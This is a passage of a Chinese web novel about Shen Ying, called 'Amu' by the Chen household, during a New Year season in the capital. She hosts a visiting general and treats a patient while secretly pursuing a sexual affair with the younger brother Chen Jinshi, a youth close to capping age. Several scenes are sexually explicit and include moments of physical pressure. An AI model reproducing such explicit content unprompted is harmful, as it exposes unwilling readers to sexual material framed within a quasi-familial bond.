张氏给她舀了一碗,笑着道:“这羹熬了两个时辰的,糯得很,你多喝点。” “多谢。”沈樱接过碗,舀了一勺慢慢嚼着。 年关将近,张若菱日日都来找沈樱商议,纸上工工整整列好了条目。 “昨儿跟采买的刘管事核对过,腊味得要广和楼的陈年花雕腊鸭,还有山东贡来的风干鹿肉,各备二十斤,除了自家用,还得送出去不少。” 沈樱笑着点头:“你想的周到,送礼时包得仔细些。” “只是不知,沈家那边要送什么规格的年礼合适?” 沈樱笔尖一顿,抬眼道:“无非是锦行官场交际上的需要,该送什么送什么便是了,锦行若想格外讨好他们一些,你便多替他备些。” 张若菱愣了愣,笑道:“是。” 沈樱与沈家达成一致,互不相认,这节礼自然也不需她格外准备,省得叫旁人见了,打听起她是沈家的谁来,她外祖父也不好张口。 正说着,陈锦行从外面回来,手上捧着个朱漆托盘。 张若菱问他手里拿着什么,陈锦行看了沈樱一眼,将东西交给她。 沈樱打开一看,愣了愣,明白过来,是舅舅给的。 托盘里垫着层月白绢布,放着个暗花锦盒,里面是一支赤金嵌红宝石的步摇,红宝石有鸽卵般大小,一看就是好手艺。 上次到沈家拜访,未曾有机会见过舅舅,沈仲礼这个名字,也不过是从母亲嘴里听说过,又听陈锦行说起他近日在太医院的处境,沈樱手抚着宝石,便从这些弯弯绕绕里,听出了舅舅对她的惦念。 以她最柔软的一颗心,始终认为,就算是外祖父也未尝对她没有感情,只是沈家人就是这样,傲慢与自高战胜一切,所有亲情都要靠边站。 但这样就够了,她能从中感受到那一点点的在意,就够了,反正她永远也不能与他们成为一家人。 若她从小便在沈家出生,被当做鲜少出门的闺秀教养,或许她也能安稳度日,她就是这样的一个人,在任何环境都可以习惯。 张若菱垂头笑着,翻看着礼单叹气:“那就还是,再往送去沈家的年礼上加点分量吧,锦行,你说呢?” 沈樱将步摇放回锦盒,喉间有些发涩。 陈锦行道:“你是当家主母,自然由你做主,阿姆的事情,也暂且交你做主了,大奶奶。” 沈樱没说话。 夜晚回房,她给房门稍稍留了个缝隙。 烛火刚熄灭没多久,门轴就传来轻得几乎听不见的“吱呀”声。 沈樱背对着门口,指尖无意识绞着床幔系带,却没回头,她知道是陈锦时来了。 他说得对,她何故要去相信不可能发生的事情呢? 既然知道陈锦时一定不会安分,一定会想尽办法在深夜偷偷爬上她的床,那么她留上门缝,掀开被子,等他来也就是了。 反正一切阻碍都像是欲拒还迎。 带着寒气的身影很快贴上来,他从身后轻轻环住她的腰,下巴抵在她颈窝,一如既往地,先深深吸上一口。 动作比往常要急切得多,鼻子里还陶醉地嗅着,手已毫无阻碍地探进她衣摆。 “阿姆今天与哥哥他们说什么了?有没有说起我?”还没怎么着,他的声音已经哑得厉害,唇瓣擦过她颈侧的皮肤。 “说了,说你这几日很乖,当真安安静静待在房中读书,像变了个人似的。” 他伸手捏着她耳垂,揉捏了一阵,将她转过来,沈樱面对着他,借着月光打量他。 原本翻涌着热意的双眸,因她一句话,又伪装成了乖顺模样。 他捏她耳垂的力道轻了些,与她的眸子近在咫尺,沈樱主动吻上。 她主动吻他,他反倒不好意思,唇舌都开始无措起来,喉结滚了滚,忘了该如何回应。 沈樱搂住他脖颈,闭着眼睛索吻,撬开他的唇齿,忽然觉得陈锦时实在可爱。 她就该一直装作高高在上、不可冒犯,那么他反而会反复挑衅,霸道又蛮横地欺上来。 她扮演久了好欺负的角色,也痴迷于他的“欺负”。 他若是这样完全任由她主导,她反倒也不习惯了。 她喜欢无声无息的,被他推倒后,再默默地夸上一句“时哥儿好样的”,不过面上不会显露分毫,陈锦时只会认为,是他太过分了。 不过她今日认为,呼吸乱了章法、失了主导的陈锦时也格外可爱。 只不过,主动意味着她要独自战胜内心了。 她急切的吻代表着: 都兰很想,都兰很想亲吻陈锦时,也很喜欢被陈锦时亲吻,都兰也享受与陈锦时昏天黑地的一切,就算陈锦时不主动,都兰也渴望与他亲近,都兰从来都不是被迫的,也不是被他缠得没有办法的。她的抗拒从来是欲拒还迎的一张网,他的飞扑是猎物入网,她享受一切,而坏的那个人是他。 “阿姆……”他的声音闷在唇齿间,哑得几乎听不清。 他无时无刻不在表达他对她的无限痴迷,惟愿死在她怀里的那种痴迷。 他迷蒙着双眼,倒在她怀里,沈樱望着他这副模样,怎能忍心不给他奖赏? “阿姆……”他又低唤一声,声音里掺着藏不住的渴望。他的目光蒙着层水汽,落在她脸上时,满是全然的依赖。 阿姆,给我更多,这些还不够,陈锦时还需要更多。 能给我吗? 她稍稍退开些,指尖描摹着他的唇形,忽然轻声笑了。 陈锦时的喉结滚了滚,将脸往她掌心蹭了蹭,忽然怔住。 他头埋在她腹中嗅闻:“阿姆,你身上怎么会有一股血腥味,是不是哪里受伤了?” “多谢关心,我没有。” 陈锦时抬眼,将她的手缓缓挪向腰腹之下,那里快要撑炸了,他疑惑发问:“那是什么?” “月信。” 她俯视着他,眉眼淡淡。 他落在她身上的目光变得奇特了一些:“阿姆,你早就知道今日我们不可能发生什么的。” “那又怎样呢?” 他用力嗅着她身上隐秘的一部分,声音闷闷带苦笑:“阿姆,你戏弄我。” 沈樱指尖抚过他的发顶:“是你自己要来的。” 他缠在她腰上的手臂紧了紧:“我 本也该来。” 他手从她衣摆里探进去,温热大掌覆于小腹,陈锦时出身于医药世家,就算不从医也耳濡目染,方才多问一句也不过是因为难以置信。 沈樱贪恋着他的温度,仰躺在软枕里,他的手掌带着恰到好处的暖意,又生怕碰疼了她。 她月信时从不会疼,身体反倒会有着异于往常的欲望,她垂着眼看他,手指在他肩背上摸索游走,指尖轻轻勾了勾他的发尾。 他往上躺了些,鼻尖蹭着她颈侧,露出大半个上身。 她随心意抚摸着,脊背的线条有肌理分明的沟壑,能听见他骤然变沉的呼吸,颈侧温度发烫。 他低低唤着她,声音里掺着压抑的哑意。那处存在感越发强了,他却只会越来越紧地抱她,在她颈侧吮吻个不停。 月光从窗缝漫进来,陈锦时靠在她怀里,倦意渐渐漫上来。 这日,天没亮透,宅邸内已然飘起了松枝与糖炒栗子的香气。 旺儿领着两个小仆在庭院里挂灯笼。 沈樱推开房门,陈锦时正站在院子里朝她咧嘴笑。 今日陈锦时特被陈锦行放出来了。 张若菱端着个托盘过来,里面放着两支红绒花。 “时哥儿也来看看,哪支更适合阿姆些。” 陈锦时咧着嘴走来,他今日身上穿着件月白绫缎圆领袍,腰间系着墨色玉带,缀着一枚双鱼佩,行走间佩声泠泠,倒有几分“皎皎白衣郎,飒飒清风度”的模样。 红色发带束发,将乌发衬得愈发浓黑,往日里带着几分桀骜的眉眼,因这一身规整装束,竟添了几分温雅,褪去了几分顽劣。 陈锦行一早便称他:“看来这几日关你禁闭是关对了,瞧你整个人都脱胎换骨了。” 陈锦时拈起缀着珍珠的红绒花,目光落在沈樱鬓边:“阿姆肤色胜雪,这珍珠红绒花配月白绫,正衬得阿姆眉目生姿。” 张若菱在一旁笑道:“书读得多是有好处,你瞧瞧。” 沈樱耳尖微热,欲接过那支红绒花,陈锦时稍稍一撤手:“我来替阿姆簪发。” 张若菱适时别开视线,不自在地挠挠脖子。 陈锦时手伸向她头顶,左手轻轻托住她后颈,沈樱一动未动,他手从她鬓边拂过,放下时又伸手替她理了理斗篷领子,从她耳畔揉捏而过。 绒花簪好了,一切如常,沈樱望向张若菱,问她:“好看吗?” 张若菱回神仔细打量:“时哥儿眼光好,这支果然更衬你。” 沈樱指尖轻轻拂过鬓边,陈锦时还站在她跟前,目光黏在她身上。 “旺儿说前院的栗子炒好了,”张若菱往那处走,一边道,“我先过去看看,你们一会儿也来尝尝。” 沈樱立刻应下,陈锦时自然地伸手拉她胳膊,被她不动声色地绕开。 她跟着张氏离去,衣袖轻轻拂过他的指尖,像带着温度的羽毛,可惜不总属于他。 她总是很快从那样的氛围中脱离出来,独留他一人在那儿。 到了正厅,已有丫鬟把前院炒好的栗子端过来。 陈锦行还没回来,府上稍显冷清,唯独两个主子坐着。 沈樱捻起一颗,刚碰到壳就觉出烫,又轻轻放下。 陈锦时站在一旁,见状立马凑过来:“你别动,我来。” 不一会儿,一颗金黄的栗肉便放到她嘴边,他盯着她的唇,她轻轻避开:“等会儿晾凉了再剥,我不吃。” “凉了不好吃,快吃吧。” 说着,他挪近了些,硬塞了进去,她嘴唇柔软,很容易被抵开。 沈樱下意识蹙了眉,一半颗栗子已经被贝齿破开,甜香在口中蔓延开,她注视着他自上而下的眉眼,不接受他今日的强迫。 便就着他的掌心,舌尖抵出咬碎一半的栗子,混着唾液倾吐而出。 他不动声色,掌心接受一切,甚至感受到她舌尖的滑过,另一只手拿出手帕,擦了擦她嘴角的脏污。 陈锦行从外归来,张氏上前为他取下斗篷,询问今日他可将该拜访的门户都拜访了个遍。 陈锦时手心拢起来,用手帕掩过,背过手站在沈樱身边。 陈锦行大步向她走来,眉眼自带冷厉,却在看向她的一瞬,变得柔和下来:“给阿姆请安,初次在京城过年,可还习惯?听说他们炒了栗子给你吃。” 他在她下首坐下,目光冷冷扫过站在一旁的陈锦时,却没搭理他。 “嗯,没什么不习惯的,你们都在,家里热闹多了,倒是你,如今过个年免不了应付人情往来,你可还习惯?” “阿姆不必担心我,倒是时哥儿,不少人问起你。”陈锦行终于转头,漫不经心地瞥了一眼陈锦时。 陈锦时挑眉:“问我什么?” “说你年纪轻轻已是举人,又有兄长如此,必是前途无量,又有多番揣测,你春天能不能中进士?” 陈锦时背抵在椅背上,“哦”了一声:“那他们怎么说?” “嘁。”陈锦行放下茶盏,语气里已带有几分官场人的圆滑,“还能怎么说?一半人捧着你,说你年少有为,还有一半人嘴上恭维,背地里却等着看笑话,说你那举人功名不过是撞大运得来,真到春闱考场,怕是连笔都握不稳。” 陈锦时听完,却也不恼,目光往沈樱身上飘了飘,耸耸肩:“随便他们怎么说。” 陈锦行抬眼看他:“李尚书府后日邀京中几位青年才俊到府上赏梅,特意提了你。” “不去。” 陈锦时起身,站到沈樱身后,手往她后背放去。 沈樱下意识往椅背上靠了靠,将他的手掌抵在其间,热源输送,她很安心,也不打算劝他。 陈锦行站起身:“我也正有此意,明日过后,你继续待在房里禁闭便是。” 陈锦时欣然应下,在陈锦行眼里,弟弟果然成熟长大了许多。 任何交际,任何赴宴,都没有他一朝高中来得实在。 “春闱在即,多花些心思在书本上,比什么都强。” 陈锦行说罢,看向沈樱,她神态自若,这阵子想必是没再受陈锦时烦扰。 午膳过后,陈府陆续来了几位客,陈锦行与张若菱在厅中招待,沈樱站在廊下赏梅,无心进去交际。 直到将军的一位旧友前来,赵德胜嗓门很大,老远便在呼喊沈樱:“都兰!你们何时搬到京城来的?” 沈樱面上绽开笑意,连忙迎了人进来:“搬过来还不久。” “我这儿有你的信,你阿兄写给你的。” 沈樱捏着信封,指尖反复摩挲着粗糙的纸边,眼泪都快出来了。 赵德胜吼她:“哭什么!个没出息的丫头!赶开了春,你跟我一同回楼烦看看去不就得了,这京城是好,就是规矩多,若不是本将要进京述职,我也不愿进京。” 沈樱连忙朝他摇手:“你可小声些,这宅子小。” 正说着,陈锦时扬着笑脸从房里出来:“赵叔,你来了。” 沈樱心里一紧,陈锦时手臂已揽过她肩,紧紧捏住。 第48章 沈樱心里一紧,对赵德胜说道:“既然来了,也不必去住驿站了,就在我们府上住上几晚,我叫下人收拾一间屋子出来。” 赵德胜一时没应这话,打量着陈锦时:“你小子,几月不见又长高了不少,读书读多了,看起来细皮嫩肉的,跟个小白脸儿似的。” 陈锦行闻声,从里间出来,行了礼,问了安:“时哥儿如今好管教多了。” 陈府如今几人都住在内院,赵德胜若要歇下,便只有陈锦行一间书房可供他歇息。 陈锦时道:“我去睡书房,赵叔睡我那西厢房便是了。” 沈樱向来不介意这些内宅外院的,住一起便住一起,可如今府上多了个张若菱,她倒有些后悔方才脱口而出邀赵将军住下的话了。 张若菱恰好端着刚温好的茶水过来,主动道:“何必麻烦,东耳房也没住人,收拾出来正好,时哥儿住过来便是,咱们自家人,不必讲什么规矩。” 沈樱松了口气,向张若菱递了个感激的眼神。 陈锦行笑着轻轻揽过张若菱的腰:“就听大奶奶的,让下人赶紧收拾,先烧些热水,让赵叔早些歇息。” 丫鬟领了话,快步去忙活了。 赵德胜正好有话想与都兰他们深谈,也不拒绝,转身去自己的马上卸包袱。 “都兰,你瞧瞧这是什么?” 沈樱 接过布包一看,竟是她家里做的奶豆腐,鼻尖又是一酸,正抱着布包裹发愣,一转身,一头撞进陈锦时胸膛上。 他搂住她:“阿姆,这是怎么了?” 沈樱看看四周,一时没人注意他们,陈锦时伸出手掌往她脸上抹了一把:“哭什么?” 沈樱没好气地拍开他,眼泪瞬时收了回去。 陈锦时笑道:“这什么东西?我要吃。” 沈樱吸了吸鼻子,打开包裹:“等会儿回房我给你温着吃,凉的吃了伤胃。” 陈锦时偷偷牵住她手,追问:“温成什么样才能吃?我等会儿跟你一起回房好不好?” 沈樱指尖轻轻挣了挣:“温软了就能吃,你先去帮赵叔拎包袱,把你的西厢房收拾出来。” 傍晚,两人在房里热火朝天地收拾谈话,沈樱没来得及进去,站在廊下,陈锦行从一处走来,见了她,便说道:“阿姆,时哥儿当真变了不少。” 沈樱没答话,只轻轻点头。 她顺着陈锦行的目光望向屋内。 “我有几位同僚,正有意打听时哥儿的婚事。” 沈樱一愣,指尖无意识摩挲着袖口。 “他还有两年便及冠了,若春闱得以高中,只怕家里门槛都要被踏破,阿姆对此,可有什么看法?” 弟弟的婚事,自然也要,都听阿姆的。 廊下的风卷着梅香吹过来,沈樱倚在门上,沉默片刻,声音轻得像飘在风里:“婚姻大事,我做不了主,锦行,此事叫大奶奶操心便是了。” “可是阿姆,你若不亲口劝他,‘宣判’他的婚事,他恐怕不会服气。” 沈樱心口发紧,直直望向陈锦行:“锦行,我无法做到,我无法将他‘宣判’给任何一个女子,在我这里,他是我的男人,是属于我的。” 陈锦行面目僵住,方才还带着温和的目光,此刻只剩下错愕与茫然。 沈樱没与他多说,垂下头,错身而过,走进房内,到了陈锦时身边。 她不知道她坦然承认的一句话,像一道惊雷,劈碎了陈锦行的所有认知。 他朝窗内看进去。 沈樱走到陈锦时身边,见她进来,他立刻抬头,他坦然伸手去拉她的手,沈樱任由他握着,替他拂去肩上沾着的灰:“你把赵将军的马鞍卸下来擦了?” “是,他应当不放心别人擦,我替赵叔打理。” 沈樱“嗯”了一声,他指尖轻轻挠了挠她掌心,将她手裹在自己掌心暖着。 赵德胜铺好床,转过头,沈樱抽出手。 “时哥儿,再劳烦你替我给它上点油,天冷了容易开裂。” 陈锦时掌心一空,应了声:“好勒!”转身去拿桐油。 沈樱站在原地,帮着整理包袱。 陈锦时拿着桐油回来,蹲在马鞍旁,拿着布细细擦拭起来。 赵德胜收拾完包袱,走过来拍了拍陈锦时的肩:“辛苦你了,这马鞍跟着我征战多年,比亲兄弟还亲,也就你打理,我能放心。” “赵叔客气了。”陈锦时抬头笑了笑,余光往沈樱那边瞥了眼,手上动作更加轻快。 张若菱站在门外:“还差些什么没有收拾好?奶豆腐温好了,闻着可香,我都忍不住想尝尝了。” 沈樱站起身,立刻笑起来:“我教你该怎么吃。” 一行人来到正厅坐下,陈锦时仍站在沈樱身边,也不坐,只歪歪蹭着她。 沈樱提起茶壶往自己碗中盛了热茶,再拿奶豆腐盛到碟子里,一口热茶,伴着一口奶豆腐品尝。 陈锦时歪在她肩上,朝她张嘴:“阿姆,喂我一口。” 沈樱瞥了眼赵德胜,赵将军眯眼笑着,斥责道:“多大个人了,跟没长稳似的。” 沈樱脸上似笑非笑,当真如他所愿,塞了一口进他嘴里。 赵德胜“啧”了一声:“都兰,你太惯着他了。” 沈樱浅浅笑着:“没什么,自家孩子,是该惯着的。” 他侧身坐在她的椅臂上,手撑着她的肩,没规没矩极了。 陈锦行欲发火斥责,又想起阿姆说的那话,陈锦时是她的人,他有什么资格置喙。 只是他没想到,阿姆竟愿意惯陈锦时至此。 夜渐渐深了,沈樱欲回东厢房,陈锦时紧巴巴挨着她进去。 沈樱今日头回斥责他:“陈锦时,你今晚不能睡在这里。” 张氏给他收拾了耳房出来,与陈锦云一人一边,兄妹俩正正好。 “阿姆,我想*” 他呼吸粗重,向她逼近,她冷冷看着他。 或许沈樱原本意志坚定,本没有那么多深重欲望,什么事情该做,什么事情不该做,在她心中有明确界限。 今天陈锦时该睡到耳房去,府上还有客人在,今日就不该做。 但她想起今日陈锦行与她说的话,而她也没想到自己当时会那么回答。 但她说的是事实,陈锦时是她的男人,那么她随时可以拥有享用他的权利。 是这样的,都兰。 陈锦时往前凑了凑,眼神黏在她脸上,□□的布料也随之紧绷。他从来不会在她面前掩饰这些。 少年人的热意一点点漫过来,他先是拉起她的手腕,轻轻摩挲着,烫得她心尖发颤。 沈樱压下眼眸,看见他喉结滚动,目光落在他唇上,他往前凑近,她的安全范围逐步被他侵占。 她踮起脚,搂住他脖颈,深情而用力地吮吻上去。 “砰”的一声,门板被毫无征兆地撞响。 他将她抵推进门,在旁人注意到这里之前,一脚踢上门。 他手掌牢牢扣住她后腰,唇齿间的急切几乎要将她吞噬,而她也不甘下风,五指嵌进他发间索吻,抬腿勾在他腰上,抵触烫感分明。 烛火明暗不定,映得两人的影子在墙上疯狂摇曳。陈锦时的手掌隔着薄衫按在她后腰,指腹碾过,力道很重,唇齿间的吻急得发狠。 她的手指陷进他发间,揪着他的发,勾在他腰上的腿收得更紧,此处直白得过分。 “阿姆……”他的声音从唇齿间漏出来,手掌顺着她的腰线往上,指尖轻而易举挑开她衣襟系带,动作急而鲁莽。 她攀着他的肩,喘哼着避开他的唇舌,急切命令:“抱我去榻上,陈锦时。” 他抱着她往床榻而去,脚步踉跄着撞响了桌上的茶杯,瓷杯的脆响混着两个的喘息,在夜里格外刺耳。 沈樱不管不顾,指尖从他衣领伸进去往下探,触到他脊背绷得发紧的心跳,压抑不住的躁动,也是独独对她展露的急切欲望。 陈锦时将她按在床榻上,撑在她上方,眼底翻涌着滚烫的光,吻落在她锁骨上。 沈樱心头一软,伸手勾住他的脖颈,将他的头颅往下带,唇贴在他耳边轻声命令:“到那儿去,陈锦时……” 好在,一整个晚上也没有人在寻找陈锦时的下落,也没有走到沈樱的房前敲门,问她陈锦时是否在她这里。 沈樱是被颈间的轻痒弄醒的,睁开眼时,见陈锦时正低头贴着她的肌肤,温热 的呼吸扫过锁骨,指尖还在无意识摩挲她腰侧的衣料,昨夜被扯得松散的衣襟尚未系好,露出的肌肤上,还留着几分浅淡的红痕。 十分不堪入目的场面。 她没动,只静静看着他的发顶。少年人的头发柔软,额上沾着点晨起的薄汗,随着他的呼吸轻轻晃动。窗外传来丫鬟扫地的轻响,还有远处厨房飘来的米粥香,衬得屋内的氛围愈发缱绻。 陈锦时似是察觉到她醒了,抬头时眼底还带着未散的惺忪,见她望着自己,立刻弯起嘴角,凑过来想吻她:“你醒了?” 沈樱接了他的一个吻,他手臂环着她腰,将脸埋进她颈窝蹭了蹭。 她瞬时察觉他晨起时的蓬勃力量,他正牢牢将她箍在怀里,他从她背后,掌住她的臀,她也并未推拒。 她扭过头,他手揽过来,他们交颈而吻。 阳光从窗缝透进来,落在交缠的指尖上,陈锦时的吻带着晨起的慵懒,唇齿间蹭过她的耳垂,声音哑到极致:“阿姆……”他指腹碾过她弹软的腰,手掌在她腰间慢慢摸索,一切不想昨晚那般急切,多了几分细细的厮磨。 沈樱后背贴着他滚烫的胸膛,她偏过头,手臂往上举起,捞住他脖颈,他便凑过来,在她唇上轻啄一下,随后落得更深。 一切都慵懒却舒适,窗外逐渐嘈杂起来,日头快要爬向高处了。 沈樱原本可以慢慢悠悠随他在这里晃荡,但门外有人在叫她。 “沈姑娘,有客来。” 沈樱艰难从陈锦时的吻里抽离,陈锦时眼里满是不满与委屈。 她下意识要抽身,腰却被他掐住,她力气没他大,他下巴抵在她颈窝,声音带着黏腻:“不要走。” 沈樱伸腿向后蹬了两下,仍然不能将他踢开。 “陈锦时,出去!” “不要。”她被他按回去,片刻未停,奔着最后的机会。 “沈姑娘,有客人前来,指名请您看诊,大爷叫我来请您。” 门外的呼唤声又响了一遍。 沈樱许久不给人看诊了,但陈锦行不会无端给她找事,她心头发紧,偏赶上舒服劲儿。 直到听见陈锦时喉间一声低喘,手掌在她腰上狠狠揉掐了下,终于放开她,声音哑得发沉:“阿姆,我这就滚。” 他按住她的腰,起身,衣衫凌乱地贴在身上。 他抓起衣衫往身上套,沈樱掩过被子坐起来,扬声朝外喊道:“别催了,就来。” 沈樱拢了拢衣襟,掀开被子下床,脚刚沾地,陈锦时正半跪在她床下,手里拿着她的绣鞋,他肩胛骨处的指痕格外显眼,她对他使了狠劲儿。 陈锦时抬头望着她,眼底神情慵懒,声音低哑:“阿姆,我帮你穿鞋。” 他攥住她的脚踝,指腹带着薄茧,蹭过她脚踝时有些发痒,她下意识缩了缩脚,她不太受得住他这样。 眼看她将要逃脱,他手掌往上扶,一把掐住,五指嵌入她弹软有肉的小腿。 指腹陷进软肉里,力道不重,却像箍住了似的,她动不得半分。 她垂眸看他,小腿肉上的痒意,混着热意,沿着肌肤往背脊爬。 他已给她套上了绣鞋。 他惯会摆出这种,看似俯身低位,却牢牢桎梏着她的姿态。 都兰走不出来,她偏过头,按压下心底的兴奋。 “好了。”他终于放开她,声音低哑又黏腻,松开手时,指背从她脚背上拂过,像是在贪恋最后一点温度。 她正要起身,俯首看他,他还半跪在地上,像在等着什么。 她动作一顿,俯身,捧起他的脸颊,在他唇上轻啄了一下,手掌抚在他的头颅:“好孩子。” 做完这个动作,她站起身,披上外衣,拉开房门,让天光洒进来。 门外的丫鬟见她出来,连忙上前:“姑娘,客人在正厅候着,说是您从前的病人。” 沈樱抬步往那处走去,一看,竟是之前骑马摔断腿了的那个男子。 “你拿了我的药给你家人吃过,有用吗?” 她笑着走过去,叫人上茶过来。 那男子见沈樱进来,立刻起身拱手:“沈医师,过年好,可算见着你了!你给的药丸,我母亲用了两月,咳疾好了大半。” 沈樱这才发现陈锦行也站在一旁,对此人颇为客气,才听他介绍道:“阿姆,这位是吏部侍郎家的李公子,现在都察院任职。” 看样子对方有些身份,沈樱笑道:“原来是李公子,不必多礼。老夫人咳疾好转便好,只是这旧疾需慢慢调养,急不得。” 李聿唯坐下后,忙从袖中取出一张纸,双手递上:“这是家母近日的脉案,我特意请府中大夫记录下来,劳您看看,您放心,诊金必少不了。” 沈樱接过脉案,仔细看着,眉头微蹙:“老夫人脉相虽比之前平稳,但肺气虚损仍在,夜里盗汗、胃口差,便是气血不足的缘故。我之前给的成药偏重于止咳,今日再添两味黄芪、当归,补气养血,每日一剂,再让厨房多做些山药百合粥,晨起给老夫人吃,既能养肺又能开胃。” 她一边说,一边叫丫鬟取来纸笔,飞快地写下新的药方,递还给李聿唯:“按这个方子抓药,服用半月后,你再派人来告知我老夫人的情况,我再酌情调整。” 陈锦行有些诧异,阿姆已许久不替人开方了,今日李公子前来,也是因着脸面,不好赶人出去,再说此人往后在官场上还要打交道。 李聿唯接过药方,小心翼翼收好,取出一锭金子,放在桌上:“沈医师,多谢。” 沈樱却笑着推回去:“若这方子吃了有用,再给诊金也不迟。” 她心里清楚,与这样的人家打交道,收人情比收金子有用得多,李公子看上去是位正派君子,虽说起初对她有些偏见,后来却是诚心赔罪,如今又一心信任她的医术,沈樱愿意替家中锦行与锦时先卖个人情出去。 李聿唯也不继续坚持,只将金子收回袖中,语气愈发恳切:“日后沈姑娘若有用得上李某的地方,尽管叫人知会一声。” 沈樱微微颔首:“李公子客气,治病救人本是我分内事。” 陈锦时恰好衣冠端正,从房里过来,陈锦行适时开口:“这是我二弟,今春就要下场春闱。” 李聿唯闻声看向陈锦时,目露赞赏:“今春谢家谢三公子也要下场,光我知道的,刘家刘二公子,孙家孙四公子,都恰好赶在今年下场,届时京中不知该有多热闹,陈二公子若想在京中才俊之间占据一席之地,可要尽力而为。不过我看阁下年纪尚小,就算再等三年,再脱颖而出,也未尝不可。” 陈锦时站在沈樱身侧,拱手回礼,语气沉稳:“多谢李公子提点。不过今年在下必是要争得一个席位的。” 李聿唯一愣,似是觉得此人傲慢,换了副神情看他:“你可知,若不是仰仗你兄长大名,你如今在京中,不过是个无名小子,与谢清樾之流不同。若届时你还是个无名之辈,这话说出来,就显得有些可笑了。” 陈锦时眼眸瞥向沈樱,神情稍显落寞:“可笑不可笑的我不在意,她不会再等我三年。” …… 稍坐了一会儿,李聿唯起身告辞。 赵德胜在府中没留两日,进宫述完职,便也启程回北境去了。 陈锦时重新被陈锦行关回西厢房读书,沈樱写了信回楼烦,今春四月,陈锦时春闱落幕后,她不会启程回家。 白日里,西厢房的窗纸总透着暖融融的光,沈樱能看见陈锦时伏在案上。 案头堆着的策论写满了批注,都是他刻苦用功的痕迹。 他很聪慧,若他愿意用功,沈樱从来都相信他能够得到任何想要的东西。 她从陈锦行那里取来钥匙,再说这道锁本也关不住陈锦时。 她轻手轻脚进来,把食碟放在案上,指尖触到他微凉的耳尖上轻轻捏了一下,他拉住她手,仰头望她:“你怎么来了?” “给你送些吃的,看看你。” 她俯身在他耳廓处落下一吻,他放下笔,仰头目光牢牢地锁定了她。 “阿姆,你再亲我一下。” 沈樱如他所愿,俯身。 他捞住她脖颈,深深地吮吻,闷哼了一声,她离开时,他不舍地舔唇,气声道:“我已经想了。” 她垂眸看着他,指背轻轻刮了下他的脸颊,嗓音淡漠:“晚上再说。” 陈锦时仰视她,喉结滚了滚,盯着她的眼神又亮又热,却还是寸寸收敛,拉着她掌心揉捏摩挲着:“好,你先回房歇着去。” “嗯。” 他松开手,目光落到桌案上的书本,重新握起笔。沈樱的唇瓣方 才被他轻咬了一口,红肿湿润,他强迫自己将注意力拉回名为“民生利弊论”的文章里。 笔尖划过纸页时,力道比先前下得重,心底翻涌的热意都压进墨痕里,笔锋落得尖利。 沈樱没立刻走,倚在门框上看了他一会儿,看他连握笔的指骨都绷得僵硬而用力。 案上的青瓷笔洗里插着几只狼毫,旁边叠着的策论每一页都写满了密密麻麻的行书,沈樱看不懂那些字。 陈锦时有时会写一些狂草,正如他本人脾气,只他一人能认。 但沈樱偏偏痴迷于他一笔一划认真落下的蝇头小楷,他也会沉下心来写一篇畅谈民生的策论。 他此时正写着疏狂锋利的行书,忽然笔尖一顿,抬头望她。 她一怔,转身出去,滚烫手掌已扣住她腰后,猛地将她打横抱起。 沈樱被迫伏在他肩头,唇角挂有浅浅的笑。 她攥住他衣领,下一瞬便被他按在冰凉的乌木书案上,他写满行书的纸张在她臀下皱成一团,他滚烫呼吸尽数喷在她脸上,低头咬住她下唇,力道急切。 她搂住他脖颈,攥着他衣领下拉。 “阿姆……事情没有那么简单了。”他含着她的唇呢喃,毫不掩饰他对她的动情,手掌顺着她腰线往上,指尖勾住她衣襟细带。 “你叫我好好读书,可你那么看着我,我怎么读得下去?”他咬着牙,狠狠说道,齿间在她颈侧留下痕迹。 书案的凉意透过衣料浸入臀腿,与他身上的热意鲜明,激得她浑身战栗。 第49章 她看着他泛红的眼尾,听着他粗重的喘息,忽然觉得此人迷人至极。 她如何能不看着他呢?如何能不那么明目张胆的勾引他呢? “我根本没法专心……我满脑子都是你。” 他动作急切又带着点笨拙的虔诚。 沈樱仰起头颅,心想,难道不该吗? 他俯身继续亲吻她,从唇角到耳垂,沈樱勾住她脖颈,将他往下带了带。 此刻青天白日,窗纸外能将两人轮廓看得清清楚楚。 她抬手抚上他的脸颊,指尖捏着他发烫的耳廓,声音带着点喘息的软意:“别急……” 话没说完,便被他更用力的吻堵了回去。 他什么也没听见,只凭着本能掠夺。 她软软的发梢柔软地贴在颊边,随着呼吸起伏轻轻颤动,他轻轻撩过,她的指腹摩挲而过他下颌新生的青茬,又落回他汗湿的后颈。 在冬日里,陈锦时的身体总能像个火炉。 沈樱觉得,他应该居住到楼烦去,成为她家里的一员,他会护住家里的老弱妇孺,像个真正的楼烦男人一样。 她也不知道为什么,她只是觉得,他该到那里去。 他身上的衣物质地被汗浸得有些软,贴在她手心时,像片温热的云。 她另一只手勾着他的脖颈,指缝间缠着他稍长的发尾,轻轻一绕,便让他的吻又沉了几分。 天光正亮,影子在窗纸上拓得格外清晰。 沈樱一直清醒,她用鼻尖蹭了蹭他湿润的眼尾睫毛,声音裹在喘息里,轻得像片羽毛从他耳廓扫过,将他也唤醒:“陈锦时,起来吧,有人来了。” 他动作顿了顿,吻从她唇角移到眉心,鼻尖蹭过她额前的碎发。 他没立刻起身,将脸埋在她颈窝,吸嗅一番,闷哼了一声,才从她身上起来,不忘替她拢好滑到肩头的外衣。 他将她抱下站立,坐回原处,沈樱看了他一眼,拢着衣领,往外走去。 陈锦时牵住她手心,手指从她指骨缠绵抚过,她轻轻抽出:“好了,我先走了,你吃点东西吧。”她下巴点了点桌上的食碟。 她刚从他掌心抽离,站到门边,他望着她,喉结滚了滚才开口,嗓音黏滞:“晚上我去找你?”挠得她耳廓发痒。 她垂下头。 “嗯,我给你留门,来的时候小声些。” 不知何时,案上那盏冬日里常用的暖手银壶,被换成了盏青釉浅口瓶。瓶中斜插着两枝新发的柳芽,芽尖嫩黄。阶前的青砖缝里,都冒出了些星星点点的草色。 临近春闱的时日,陈锦行早已将陈锦时放了出来。 沈樱又收到了谢清樾的信,展信一看,原来他已回京了,也正准备着春闱,没空来拜访她,特写信告知一声。 沈樱收了信,忽然想起那人去年走前说的话,若说那时候她还犹疑不定,觉得谢清樾尚且算是不错的成婚对象,如今却是全然不能了。 沈樱从不介意嫁入大族做事事受制的宗妇,她向来随遇而安,并不如同她向外祖父说的那样,只愿自由随意。 她从来知道,人生不可能随心随意。就如同,她母亲选择自由与爱情,远嫁楼烦,就必然要承受那里的风霜苦寒。 在草原上有草原上的活法,在京城自有京城的活法。 可她如今不能再接受谢清樾,是因为,陈锦时已经是她的男人了,沈樱不会在京城里有另外的男人。 